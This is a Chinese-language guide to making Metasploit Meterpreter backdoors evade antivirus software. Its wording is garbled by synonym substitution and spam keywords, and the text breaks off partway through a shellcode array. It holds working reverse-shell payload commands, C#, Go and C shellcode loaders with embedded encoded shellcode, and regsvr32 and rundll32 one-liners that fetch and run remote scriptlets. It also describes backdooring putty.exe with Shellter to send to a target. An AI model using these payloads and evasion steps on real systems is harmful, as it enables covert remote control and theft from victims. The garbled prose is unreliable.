1.静态分析旨趣 偷拍自拍 亚洲色图 厕底偷拍 偷拍自拍 亚洲色图 厕底偷拍
疏漏的来说,即是通过特征码识别静态文献,杀软会扫描存在磁盘上的镜像文献,如果知足特征码,就识别为坏心软件。
坏心软件匹配设施yara匹配坏心软件的时候即是用的这样的风景。
通过特征来识别捏HASH器具QuarksPwDump,yara设施如下(检察源码)
可以看到匹配匹配$s1 $s2 $s3 $s4全部四条设施及璀璨为识别。
天然还有通过md5、sha1来蓄意文献hash识别坏心软件,最疏漏泼辣而且有用,关联词也很容易绕过,也有分段进行hash来识别相似度的方法,旨趣和上头的特征码识别都是一样的,这里不再赘述。
2.造反静态分析
1.修改特征码
特征码的识别也有一些不同的风景,最运转是使用单个特征码来定位,就有了与之造反的ccl,跟着造反技艺的升级,就有了多条的特征码,对应的也就有了mutilccl, myccl, virtest,以至当今github上的自动化特征码识别,技艺越来越各种。
修改特征码最穷苦的是定位特征码,关联词定位了特征码修改后并不代表规范就能平方运行,费时劳苦,由于各个杀软厂商的特征库不同,是以一般也只可对一类的杀软起恶果。诚然恶果不好,但偶而候在莫得源码的情况下可以一用。
诚然meterpreter关于咱们来说是开源的,关联词偶尔编译出来的文献修改一些小方位就能让杀软径直报废,也算是一个保留方法吧,这里限于篇幅我就不贴代码和操作了。
2.加壳
加壳诚然关于特征码绕过有相配好的恶果,加密壳基本上可以把特征码全部隐敝,关联词污点也相配的赫然,因为壳我方也有特征。在某些比拟流氓的国产杀软的检测风景下,主流的壳如VMP, Themida等,一朝被检测到加壳径直弹框告诉你这玩意儿有问题,诚然很径直,关联词照旧挺有用的。有些情况下,有的常见版块的壳会被径直脱掉分析。
靠近这种情况可以推敲用一切冷门的加密壳,偶而间元气心灵的可以基于开源的压缩壳改一些源码,恶果可能会很可以。
总得来说,加壳的风景来免杀照旧比拟实用的,卓著是关于不开源的PE文献,通过加壳可以绕过好多特征码识别。
3.shellcode 编译
metasploit是我认为宇宙上最佳用的浸透测试器具。
msfvenom不仅提供多种体式的payload,其中就包括shellcode。shellcode关于源码免杀来说基本上是最佳用的那种,绕过静态杀软的神器。
shellcode编译的具体风景请参考我之前的著作meterpreter技巧共享,这里不再赘述。
使用msfvenom聘任encoder的时候内行一般都会聘任shikata_ga_nai这个编码风景(因为x86的encoder里只须它的Rank是excellent),这个encoder的解码和编码过程都是连忙生成的。(编码过程可参考源码)。
关联词,这个编码实质是有特征的,经过shikata_ga_nai 编码之后的shellcode必定含有\xd9\x74\x24\xf4 这串16进制字符,我写了一个yara设施可以浮松检测到由 shikata_ga_na编码的shellcode,设施如下:
测试终结如图:
天然不啻是 shikata_ga_na 编码风景,其他的编码风景特征可能愈加赫然(x86/fnstenv_mov 的编码风景就被好多杀软能径直检测到,远不如 shikata_ga_na)。那么如果要造反这样的情况,只可我方再将编码事后的shellcode进行编码或者加密。
我这里写一个疏漏的xor算作demo供内行感受一下,代码如下:
4.shellcode植入后门
面前有不少著作和器具都提供了植入后门的方法。举例shellter,the-backdoor-factory,器具的功能都很刚劲。
这里先容一下手动在code cave(代码纰漏)植入后门的方法,合座进程如图:
其中比拟要津的部分是调解堆栈均衡,通过sub esp, 或者add esp, 来调解堆栈,不然施行完payload后的平方规范会崩溃。
如果莫得合乎大小的code cave或者payload 的相配大,这个时候可能需要多个code cave一皆使用,要津部分如下图进程
还可以谋划上一部分的编码或加密,免杀恶果很好,大部分的杀软都径直GG .
5.多平台多言语
并吞种编译器生成的PE文献在某些区段上是有调换或临近的二进制字节的,杀软在采集并吞风景生成的广宽木马后,很容易就将这些PE文献的特征索求出来加以识别(举例当今msfvenom径直生成的exe即是这样的)。因此,通过改动编译环境,让被识别的特征码改变,达到免杀的看法,改变言语亦然相通的想路。
linux下的跨编译器有mingw-w64, tdm-gcc等,veil-evasion的c言语编译器是用的mingw64,而AVET的编译器用的是tdm-gcc,最运转使用时恶果照旧可以的,用得多了杀软运转专门的索求这些编译器编译后的特征码,就被一杀一个准了。
veil算作一个连接更新的免杀框架,应用多种言语进行编译,来终了绕过特征码免杀的看法,使用的言语包括c, python, ruby, perl, powershell, c#, go 等,再通过pytoexe或者 pywin32来鼎新python代码成exe,来保持我方木马的各种性(payload生成源码)。
天然还有更鄙陋的风景,如鼎新成js,php,sct等非编译型言语施行,这里就省略确伸开了,有酷好的我方去了解。
6.小结
静态免杀简略就这样方法,偶而候需要谋划多种方法一皆使用,天然在莫得源码的前提下一般都秉承第一种和第二种方法,天然也可以推敲反汇编加花加空等修改源码,这样需要参加更多的时间和元气心灵,也对操作家有更高的手段条件。
0×02 流量检测与造反1.Meterpreter的传输加载
要知谈meterpreter的流量特征,最初要搞明晰meterpreter的传输风景。
metasploit的木马分为两个大类,staged 和stageless 。
staged类型的木马的运行进程为:
客户端在从处事器端采纳stager后,stager由诱骗代码loader和payload构成,客户端在内存等分拨一段地址将payload暂存起来,再通过loader来加载内存中的payload。这种内存中注入PE文献的风景称为反射型DLL注入。
stageless的则是将竣工的payload都编译在木马中,相对与staged的木马来说,前者体积宏大不生动,而且容易被杀。
咱们以windows/meterpreter/reverse_tcp为例,底下是部分源码(竣工源码)
asm_block_api 部分是用来界说查询API调用地址的函数。
asm_reverse_tcp 部分是用来发送socket请求的。
asm_block_recv 部分是开辟团结后,采纳处事端发送的stager,再通过 VirtualAlloc() 分拨RWX权限的内存,然后施行后续。
那么内行可以看到,这部分建客户端发起团结的过程其实是莫得什么特征的,特征主如果在处事端发送的stager,接下来让咱们详确望望发送的stager里是什么。
为了让客户端运行处事端发送的meterpreter payload,需要先发送一个加载meterpreter_loader,这个诱骗代码的源码如下(竣工源码地址):
这段代码主要作用是加载反射性注入的诱骗代码ReflectiveLoader,通过ReflectiveLoader来加载meterpreter及相干确立。由于篇幅原因,这里咱们不深究反射性注入的详确加载风景,知谈简略旨趣即可,如果有酷好可以阅读源码团结。
2.Meterpreter检测
这段meterpreter_loader是固定的一段汇编代码,通过nasm将该部分汇编代码转机为机器码如下(可能随环境变化):
该16进制字符串即为meterpreter的特征。为了考据想路,通过捏取流量来检察发送的payload,可以看到传输后发送的payload最运转的部分即是上头的机器码,如图所示:
编写一个yara设施来测试是否能检测到(yara除了能检测静态PE体式文献,也能检测流量文献,天然你也可以使用snort),设施如下:
用yara检测传输的流量包,片刻检测到,如图所示:
注:如果用该yara设施径直检测程度中的内存的话,不管流量若何加密最终都会解密,然后被yara检测到meterpreter_loader,除了效劳较低除外,能绕过就只可靠修改源码了。
这里限于篇幅扫尾,其他payload的流量特征聘诸君看官我方去摸索测试,这里就未几毁坏篇幅。
3.造反流量检测
既然流量是有特征的,那么有莫得办法对流量进行加密呢,谜底是详情的,通过在处事端栽种
恶果如图所示,(天然这里的stagerencoder可以肆意选)
发送出去的stager就被编码过了,从流量看都是被编码过的数据,看不出来任何特征,如图:
如果你合计这种对流量进行编码的风景也不够保障,那么msf还提供了过火模式(paranoid-mode),可以用文凭对流量进行加密。
具体操作方法可以参考官方文档或者我的博客。
0×03 动态监测造反静态检测和流量监测都说到了,接下来咱们说若何造反沙盒。要作念到实足造反沙盒工程量是很大的,这里咱们只讲一些鄙陋的小技巧来骗过杀软的沙盒分析。
杀毒软件最大的问题即是靠近比比皆是的文献,若何最快速率的扫描完扫数的文献,而不毁坏广宽的性能在单个文献上(在扫描过程中把机器卡死是相配晦气的体验)。要作念到这个,需要在广宽的文献中进行合理的遴选。
1.sleep
在很早的造反杀软的技艺中,通过一个sleep,占用广宽的时间,就能够绕过杀软的动态分析,天然当今这样详情是不可的了。揣摸杀软会hook 系统sleep函数,然后径直略过,径直后头的代码,这样是最智谋和省事儿的方法了。为了考据想法,咱们通过一段代码来测试一下。
为了裁撤别的容易侵略的身分,我聘任使用固定的一种编译器对shellcode进行编译。
径直编译生成,virustotal的终结如下,19/67
添加如下的代码之后再进行检测:
检测16/66
诚然只减少了3个,不外也讲明部分杀软照旧吃这一套。。
2.NUMA
NUMA代表Non Uniform Memory Access(非一致内存观望)。它是一个在多系统中确立内存解决的方法。它与界说在Kernel32.dll中扫数一系列函数团结在一皆。
更多的信息可以参考官方文档:
-us/library/windows/desktop/aa363804(v=vs.85).aspx
代码如下:
检测终结17/67,又少了两个。
0×04 生成shellcode免杀
手动编译meterpreter并对shellcode进行编码就能绕过静态查杀,meterpreter自身即是径直加载进内存何况有编码,绕过动态查杀基本没问题(天然你也可以使用veil-evasion,不外恶果不若何好)。
上述号令生成在之前的基础上生成基于c言语体式的shellcode,通过e参数指定编码风景,i参数指定编码次数,b参数去除指定代码,一般是空代码或者造作代码,-f指定生成体式。
这种风景vc++6.0能够收效编译,关联词vs编译会报错,可以换成:
还有好多其他的方法,这里就不逐个测试了。
友情教唆:在实战情况下,免杀恶果会凭据编译器和系统环境而变化,可以多准备一些环境进行免杀责任。
通过上述方法编译生成的exe可以绕过险些100%杀软,包括360,卡巴斯基,小红伞等杀软。
0×05 聘任payload进行免杀上头生成shellcode的风景是针对杀软静态免杀的,接下来说到动态行为免杀。在对市面上主流的杀软进行测试的过程中,发现symantec会在meterpreter回连收效,从metasploit里接受数据的时候报毒。不管是我方手动编码编译照旧msf自动生成的exe都会这样被报毒。经过笔者我方测试,使用reverse_https等payload可以anti symantec。
关联词需要在metasploit栽种:
将适度端向被适度端发送的stage进行编码,从而绕过symantec的查杀。
相通,使用reverse_tcp_rc4也有相通的恶果,而且无谓栽种stageencoder选项,更踏实更简便。
应用rc4对传输的数据进行加密,密钥在生成时指定,在监听的处事端栽种调换的密钥。就可以在symantec眼皮地下施行meterpreter。
这里作念一个投砾引珠的作用,其他payload的查杀恶果需要各大黑客我方去测试。
0×06 meterpreter常驻的免杀常见的添加meterpreter 常驻的方法无非两种:persistence和metsvc。这两种方法恶果照旧可以的,不外在靠近杀软的时候窝囊为力,险些100%被杀。
底下先容几种能绕过杀软的添加自启动方法。
1.使用exploit/windows/local/registry_persistence
通过用户我方指定payload及编码风景,将shellcode添加到注册表,然后再应用powershell加载该shellcode,收效运行meterpreter。
由于加载的payload是由metasploit指定,每次都不一定一样,这个方法在靠近大部分主流AV的时候的确刚劲,只须不监视注册表操作不扫尾powershell,险些不会被杀。
同类型的还有其他payload,如exploit/windows/local/vss_persistence,exploit/windows/local/s4u_persistence,有的恶果也可以,如添加谋略任务启动的功能,但或多或少都有一些扫尾,总体说来不如上头讲到的方法。
2.应用powershell
powershell因为其特点,被好多杀毒软件径直冷漠,因此用这个方法时常能达到出其不虞的恶果
其实这个风景和第一种旨趣都是一样,不外自界说的powershell剧本恶果更佳。
这里可以应用一个器具powersploit,底下用它来示范一个疏漏的例子。
其中Green_m.ps1是加载有payload的powershell剧本文献,你可以用msf生成一个加载meterpreter的ps1文献。
天然你也可以聘任虚假践powershell文献而径直施行某个PE文献,可以通过将代码赋予变量来施行。
powersploit还有其他相配有用的功能,有酷好可以我方去github或者使用get-help查询。
0x07 meterpreter免杀木马实战1.制作免杀木马后门
最初,在kali顶用msfvenom生成一个payload
上头号令中,-p聘任指定payload,–e聘任制定编码器(不同编码器免杀恶果也有不同,部分编码器玩忽火绒等杀软恶果权臣), -i 编码次数,-b 去过剩/坏字符,lhost是你肯求的ngrok处事器地址 lport是自界说的费力端口,-f 生成指定体式。
我这里聘任生成基于C言语的数组,天然你也可以用以下号令径直得到exe木马,但这样免杀恶果会打扣头,经笔者测试屡次,重迭编码12次后免杀恶果相配刚劲!
然后复制buf数组
在win7下用VC6.0对底下代码进行编译,得到木马。
2.Metasploit适度客户机
切到Kali,使用Metasploit进行监听。
栽种监听挫折模块,监听载荷,IP(kali本机),端口(ngrok里自界说的土产货端口),然后exp。
当客户机施行木马后,得到一个meterpreter,可以进行的操作你懂的哈哈。
通过上述体式得到的木马经过笔者测试可以通过360,腾讯管家,Windows defender,小红伞等杀毒软件的查杀。动态免杀中,关于360,如果exe莫得放在C盘或者U盘运行就可以作念到动态免杀,只是会在拍照等特明锐操作会有教唆,其他操作全程不报毒,defender和腾讯管家就更弱了,拍照也不会有任何教唆。
0x08 Veil-Evasion+Metasploit免杀
1.简介
Veil-Evasion是一个用python写的流行的框架。咱们可以用这个框架生成能够藏匿大多数杀软的载荷。Veil-Evasion被原生假想为在kali上,但其实存在python环境的系统上应该都能运行。
你可以用号令行浮松调用Veil-Evasion,按菜单选项生成payload。在创建payload的时候,Veil-Evasion会盘考你是否想把payload文献用Pyinstaller或者Py2Exe转为可施行文献。
2.安设
下载
官网:-framework.com/
github技俩地址:-Framework/Veil-Evasion
安设
kali linux可以径直
git克隆安设:
3.使用
payload列表
使用use、list可以列出刻下可用的模块
疏漏实例
咱们应用这个payload
6) c/meterpreter/rev_tcp
这里,咱们输入号令:
use 6
或者
use c/meterpreter/rev_tcp
咱们只需确立一下options就可以了,包括监听地址,端口,是否生成exe
这里,咱们仅确立一下地址,然后run/generate(生成):
set LHOST 192.168.1.114
generate
payload旅途:/var/lib/veil-evasion/output/source/
测试360查杀:
栽种监听:
当payload在看法机器运行后,赢得session:
0x09 TheFatRat:Msfvenom免杀后门生成器具
1.下载
https://github.com/screetsec/thefatrat
本器具能使用msfvenom生成后门,规范能够用meterpreter reverse_tcp payload编译C言语规范,并能够绕过杀软。
2.运转使用
git clone https://github.com/Screetsec/TheFatRat.git
cd TheFatrat
apt-get update
apt-get install mingw32 backdoor-factory
如果教唆莫得安设MinGW或无法找到包
3.运行
索求lalin-master to your home or another folder
chmod +x fatrat
chmod +x powerfull.sh
./fatrat
然后凭据选项输入相应数字
使用截图
4.查毒
0x10 免杀MSF Windows Payload 的方法与施行
1.准备 Payload
这个过程比拟疏漏,大多数东谈主应该都会。咱们这里使用 msfvenom 生成一个 x86 的 Meterpreter 的 Payload 为例,径直上号令:
msfvenom -p windows/meterpreter/reverse_https -a x86 -f csharp --platform windows -o https.csharp -b "\x00\xff" LHOST=192.168.1.222 LPORT=443 PrependMigrate=true PrependMigrateProc=svchost.exe
大部分参数都无谓过多讲授了,常用 MSF 的东谈主都知谈。需要讲明的是,咱们要借助于 C# 来施行生成的 Payload,是以体式要聘任为 csharp,而终末两个参数(PrependMigrate 和 PrependMigrateProc)是指明 Payload 施行后要将我方注入到一个新创建的宿主 svchost.exe 程度中去。
生成的终结如下图(cat 号令显现的终结有问题,无谓管它):
2.准备 C# 工程
咱们需要创建一个 C# 工程,我这里使用 Visual Studio 2017。新建一个空缺的 C# 的 Console 工程,.Net Framework 版块聘任 2.0(保证兼容性)。
将如下代码黏贴覆盖到 Program.cs 中:
using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
public class Program
{
public Program()
{
RunMSF();偷拍自拍 亚洲色图 厕底偷拍
}
public static void RunMSF()
{
byte[] MsfPayload = {
//Paste your Payload here
};
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
Thread.Sleep(2000);
}
public static void Main()
{
}
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
}
然后将先前生成的 Payload 的黏贴到代码中注视为“//Paste your Payload here”的方位。保存代码后,修改该工程的属性,将输出类型改为“Windows 应用规范”,启动对象改为“MSFWrapper.Program”, 然后保存。 加多 Release 版的 x86 编译对象,然青年景出 MSFWrapper.exe。
3.鼎新 MSFWrapper.exe 为 js 文献
这里要用到一个相配瑕玷的器具 DotNetToJScript,这是一款可以将 .net 规范鼎新为 jscript 代码的。器具下载地址:
https://github.com/tyranid/DotNetToJScrip
使用如下号令进行鼎新:
F:\t00ls>DotNetToJScript.exe -l=JScript -o=MSFWrapper.js -c=MSFWrapper.Program MSFWrapper.exe
然后咱们就可以用底下的号令施行咱们的 MSF Payload:
C:\windows\SysWOW64\cscript.exe /e:JScript MSFWrapper.js
这里一定要防卫,因为咱们生成的 Payload 跟 exe 都是 32 位的,是以这里也要用 32 的 cscript.exe 去施行。切记!
4.进一步鄙陋化
sct 大法
既然能够鼎新为 js 代码,那么咱们天然会猜测 sct 大法的应用。咱们将鼎新后的 js 代码黏贴到底下代码中的“//paste code here”:
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Msf"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
//paste code here
</script>
</registration>
</scriptlet>
保存为 msf.sct(后缀名可以改动,比如 jpg 等)并上传至 Web Server 然后在看法机器上施行如下号令:
F:\t00ls>c:\windows\SysWOW64\regsvr32 /s /u /n /i:https://raw.githubusercontent.com/Moriarty2016/Screenshots/master/msf.sct c:\windows\SysWOW64\scrobj.dll''
另外,咱们也可以使用 script 或者 scriptlet 的风景来深度应用,这里咱们要使用 DotNetToJSCript.exe 的 -m 参数来生成 scriptlet 文献,号令如下:
DotNetToJScript.exe -m -o=msf2.sct -c=MSFWrapper.Program MSFWrapper.exe
将 msf2.sct 文献上传到 Web Server 上,然后用如下号令在看法环境中施行:
F:\t00ls>c:\windows\syswow64\rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/Moriarty2016/Screenshots/master/msf2.sct");this.close()
天然,如果看法环境是 Windows 7 以上版块,还可以这样:
F:\t00ls>c:\windows\SysWOW64\cscript.exe c:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://raw.githubusercontent.com/Moriarty2016/Screenshots/master/msf2.sct
0x11 msf反弹后门的免杀Tips
1.想路
我往日构兵过一款python的远控,其实说是远控,基本也即是nc的功能加了一个处事端的web页面适度并加了一些其他的功能可以用来解决诸多客户机这款远控我下载下来用过,并用pyinstaller打包成了exe(污点是体积太过宏大),惊叹的是,360不杀它,然后我方想着其他言语是不是也会这样,于是我用golang写了一个肤浅版nc反弹,编译之后,亦然不查杀的。python和golang有一个共同点,即是可以用来内联C编程,是以C言语的shellcode按理说应该会达到相通的恶果
2.得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LPORT=5555 LHOST=192.168.1.100 -e x86/shikata_ga_nai -i 11 -f py > 1.py
提出是生成32位的,如果想生成64位也可以,-e x86/shikata_ga_nai -i 11是指用x86/shikata_ga_nai编码迭代11次,然青年景py文献 py文献绽开是shellcode,咱们接下来对它进行小数小改良,关于python去施行shellcode的方法,深信小伙伴都也曾不生分,在《python灰帽子》中有讲授,我今天要使用的是golang,其实个东谈主认为golang施行shellcode的代码是更轻松的
3.Golang环境搭建
安设Golang32位(提出32位,与前边对应,在测试过程中,如果32位shellcode谐和64位golang加32位gcc,就算把golang的GOARCH改为386也依旧会失败,提出逐个双应),安设gcc32位(可以使用TDM-GCC)
4.代码编写
package main
/*
void call(char *code) {
int (*ret)() = (int(*)())code;
ret();
}
*/
import "C"
import "unsafe"
func main() {
buf := ""
buf += "\xdd\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb8\xb3\x5e\x2c"
buf += "\xc9\xb1\x97\x31\x47\x1a\x03\x47\x1a\x83\xc7\x04\xe2"
buf += "\x46\x84\xfd\x72\xee\x0e\xb5\x96\x37\x04\x6d\x63\x9f"
buf += "\xcc\xa4\x3a\x8e\x8c\xf7\x39\x81\xca\xe4\x42\xff\xce"
buf += "\xa3\xa2\xdb\x06\xc0\x3f\xaf\x41\x73\xba\xf7\x20\x13"
buf += "\x98\x8c\xff\xfa\x0a\xda\x6e\xf2\x6d\xc3\x81\x07\xc0"
buf += "\x1b\x37\xeb\xa2\xa9\x32\x71\xaf\xe9\x20\xd1\xaa\x9e"
buf += "\xbd\x82\xf3\x81\x1f\xab\xbf\xc4\xd9\x6c\x75\x37\x3a"
buf += "\x53\x78\x90\x79\xaf\x93\x1b\xb3\x15\x09\xe5\x45\x5c"
buf += "\x26\x0f\x0d\x16\x52\xf1\x8a\x7e\x8b\xc4\x50\x8e\x0a"
buf += "\x38\x2f\x2b\x40\x73\x0b\xf0\x51\x5f\xc6\xbf\x04\x47"
buf += "\x80\x36\xe5\x88\x88\xb3\xfc\xa0\x52\xfe\x92\x81\x8d"
buf += "\x89\xf2\x6a\xcc\x7f\x9a\xe9\x1a\x30\x73\xa3\x63\x42"
buf += "\x10\xe9\xcf\x62\xe4\x06\x52\xe1\x8d\x88\xfe\x52\xc4"
buf += "\xc3\xed\x7a\x0e\x66\x5f\x8c\x2c\xef\xfa\xbd\x8c\x79"
buf += "\x6c\x01\xe3\x5c\xde\xc4\x8a\x4c\x7d\x34\x32\xb5\x23"
buf += "\x56\x6c\x52\x3f\x15\x26\x6a\xf8\x6b\x81\x2c\x23\x8d"
buf += "\x41\x6e\x24\x30\xc6\xcb\xba\x26\xd4\x3b\x37\xd3\xc6"
buf += "\xa8\x5a\x16\x8f\x1e\x27\xca\xcb\xda\x7f\x74\x62\xb2"
buf += "\x62\xa6\xb1\xfc\x64\x53\x3a\xa7\xa4\x21\x3d\x79\x08"
buf += "\x06\x74\x2a\xa2\xe7\x0d\x68\x16\xa3\x96\xe5\xad\x32"
buf += "\x10\xa3\x0f\x49\xc3\x69\xa7\x5b\x61\x1a\xf8\x1d\x9e"
buf += "\x9b\x3a\x00\xfc\x18\xc3\x42\x1a\xd6\x44\x5d\xfe\xc5"
buf += "\xb6\x68\xd2\xad\x24\xda\x74\xa7\xf3\x66\x9a\x42\x7a"
buf += "\x50\xf0\x0b\x47\xbc\xad\x6c\x1e\xca\xbe\x90\xca\xc3"
buf += "\x8e\x5b\xde\x66\xe2\xb3\x20\x6f\x38\x17\xc1\xac\xfb"
buf += "\xd3\x2f\x91\xa7\xff\x65\xd7\xd0\x25\x4c\xd4\xb3\x35"
buf += "\x38\xa1\x82\xb8\x23\x42\xe9\xa5\x95\x8e\xc4\x35\xca"
buf += "\x92\xfe\xde\x62\x70\xd6\x7a\x7f\xfd\xfb\xf0\x24\xbd"
buf += "\x5d\x6d\x3d\x13\xbc\x1d\x25\x54\x9d\x0e\x68\xc8\x9a"
buf += "\x10\x87\xf0\xc9\xac\x37\x57\x84\x23\x5f\x8a\xc0\xab"
buf += "\x52\x6e\xae\x79\xa2\xdb\xff\xd8\x41\x28\x8b\xd3\x9d"
buf += "\x68\x3c\x55\xf2\xfe\x0c\x8a\x38\xdf\xb3\x80\x9b\x70"
buf += "\x2b\x4e\xe1\xfa\x0b\xfe\xf5\xc3\x1a\x0d\x83\xb0\x69"
buf += "\xd0\x68\xfb\xe0\xae\xbd\x56\x52\x17\x9a\xf8\x8f\xc0"
buf += "\x14\x8c\xb0\xf7\x0e\x87\xfa\x54\xf4\x04\x4a\x5a\xc8"
buf += "\x89\x57\x0e\xbf\x7a\x76\x9b\xfe\xb8\x5f\x31\x42\xec"
buf += "\xaf\x18\x9e\x3f\xf0\x09\x79\x86\xb3\x08\x29\x50\xfd"
buf += "\xc3\x46\x7d\x24\x51\x5b\xd0\x81\x19\x6f\xc2\x2c\x17"
buf += "\xab\xa3\xb7\xd9\x6f\x82\xd9\x37\x5f\x38\x01\xd8\xfd"
buf += "\xfd\x11\x22\x61\xd0\x92\x45\x37\x4f\x6c\x4e\x91\x3b"
buf += "\x42\x07\xc5\x77\xdc\x52\xd6\xc7\x9d\x7b\x62\xba\x1c"
buf += "\x62\x3c\xde\xad\x96\x03\x55\xde\x9d\x52\x5c\x5d\x0c"
buf += "\x73\x0e\xc3\x4c\xae\x7d\x1c\x7c\x64\xaf\xbb\xce\xa6"
buf += "\x02\x0e\xb1\x51\xc4\x2d\x1b\x6b\xb7\x7c\xd9\x4b\xc3"
buf += "\x8c\x43\xd6\x1b\x2a\x4f\x5e\x0a\x9a\xd5\x4d\x45\x64"
buf += "\x6c\x0c\xc8\xf5\x59\xd7\x45\x36\x85\x99\x8d\x34\x65"
buf += "\x21\xd3\x3b\x35\xce\x22\x29\x0c\x4e\xca\x48\x3f\x55"
buf += "\x5d\x1b\xda\x35\xc1\x2d"
// at your call site, you can send the shellcode directly to the C
// function by converting it to a pointer of the correct type.
shellcode := []byte(buf)
C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}
以上即是全部代码
5.杀毒测试
在代码所在目次cmd施行go build得到二进制文献(或者可以用go build -ldflags="-s -w"减小体积,go build -ldflags="-H windowsgui -s -w"去掉号令窗口)
可以看到360的静态查杀和动态查杀都莫得发现
可以看到实足是没问题的,体积比python编译出来的小的多,编译出来是500多kb,然后经过upx压缩了一下(测试upx压缩后功能依旧平方),缩小到了200多kb
root@bt:/# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=31337 R |msfencode -e x86/shikata_ga_nai -t exe > /var/www/payload2.exe
R : 指定payload输出raw数据因为要加密, payload的聘任以及参数栽种无谓说. |为管谈.
-e 后头是msfencode的加密方法,
-t exe为msfencode的输出类型.
>后头是输出文献的旅途
这是一次加密。
屡次加密如下:
root@bt:/opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/alpha_upper -c 2 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5 -t exe -o /var/www/payload3.exe
关联词要保证除终末一次生成需要的文献类型除外,中间管谈的输入数据类型都必须是RAW数据。msfpayload输出raw数据使用参数R. msfencode输出raw数据使用参数 -t raw
0x13 avet免杀技俩
1.avet 技俩地址
https://github.com/govolution/avet
2.下载avet
git clone https://github.com/govolution/avet
3.生成
./build/build_win32_shell_rev_tcp_shikata_fopen_kaspersky.sh
需要修改下要使用的sh文献的IP
LHOST 土产货IP
LPORT 土产货监听端口
msfvenom -p windows/meterpreter/reverse_httpslhost=172.16.75.239lport=443 -e x86
生成的文献大小 118k。一般般
kali 开启监听模式
windows7 X86 CN 测试环境
除了小红伞病毒库不是最新其他都是最新的。
简短运行30分钟后,360报毒了。
0x14 使用 SHARPMETER反弹SHELL
1.技俩地址
抖音风 裸舞https://github.com/vvalien/SharpMeter
2.使用KALI监听
msfvenom -p windows/meterpreter/reverse_winhttps lhost=172.16.75.239 lport=5555 -f hex
WINDOWS:
SharpMeter.py embed maohou.css fce8820 2000005356686c29247effd585c074c28b0701c385c075e558c35fe807ffffff3100370032002e00310036002e00370035002e003200330039000000bbf0b5a2566a0053ffd5 -m -w
KALI 开启监听
3.windows施行
然后就收效了!经过测试:Windows Defender/360杀毒 不禁止。
0x15 shellter免杀
当今咱们应用shellter来对木马进行免杀,我下载了shellter的windows规范,下载咱们要注入的软件,咱们这里聘任putty.exe
最初,解压刚刚下载的shellter的压缩包,将putty.exe放入shellter的解压文献夹内
双击shellter,运行它第一项,要你聘任操作模式,这里选a第二项,要你选谁是否开启在线版块查验,这里选n然后聘任要注入的看法,这里为putty.exe
咱们会发现注入语句一直在加多,一般需要几十秒钟就准备好了
然后会要你聘任是否要使用隐身模式,这里选y
聘任一个挫折载荷(payloads),这里的挫折载荷在msfconsole中都可以找到
custom暗示自界说要注入的代码,这个功能我也没用过
咱们聘任L,然后聘任1,也即是确立比拟疏漏了meterpreter_reverse_tcp这个挫折载荷
要为挫折载荷确立LHOST,也即是入侵者IP和LPORT入侵者端口
然后咱们恭候一下,出现这样画面,那么就讲明挫折载荷注入收效!
此时咱们得到一个新的putty.exe,诚然它的名字莫得变,关联词它也曾捎带木马了,接下来就输攻墨守的发送给你要浸透的东谈主!!
进入kali,开启msfconsole
在号令末端输入如下号令:
root@kali:~#msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.88.128
msf exploit(handler) > set LPORT 2223
msf exploit(handler) > exploit
当带有木马的putty.exe被点击绽开时,比如看法要使用putty的ssh,绽开了putty。
那么咱们就可以赢得费力适度会话!!
此时咱们再用virscan来扫描一下,望望有若干个杀毒引擎会报毒发现只须三个杀毒引擎报毒
木马的荫藏性大大增强了,国内的主流杀毒软件都被绕过,咱们再在土产货用360杀毒软件扫描一下
因为咱们的木马程度是交付在putty这个程度下的,如果putty一关闭,咱们就失去了这个会话了,扫数咱们要作念的第一件事是将它迁移到不会在短时间内关闭的程度中!
这里我把它移动到程度号为516的一个处事中,确保我有饱和的时间作念赖事和擦除我方留住的陈迹!!
其实kali中也一样可以运行shellter,需要wine的撑持:
root@kali:~# apt-get update
root@kali:~# apt-get install shellter
安设完后,径直在号令中输入shellter
环境:
1.Kali挫折机IP:192.168.114.140
2.使用win7生成exe
体式:
使用msfvenom生成shellcode :
msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.114.140 lport=5555 -f c
win7中使用Visual studio创建Win32适度台技俩(如果装了gcc,也可以使用gcc编译):
聘任空技俩
添加cpp文献
复制刚刚用msfvenom号令所分娩的shellcode到cpp文献中,代码如下:
#include "windows.h"
#include "stdio.h"
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显现窗口
//#pragma comment(linker,"/MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR")//减小编译体积
//shellcode在生成payload时聘任c即可
unsigned char shellcode[]=
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
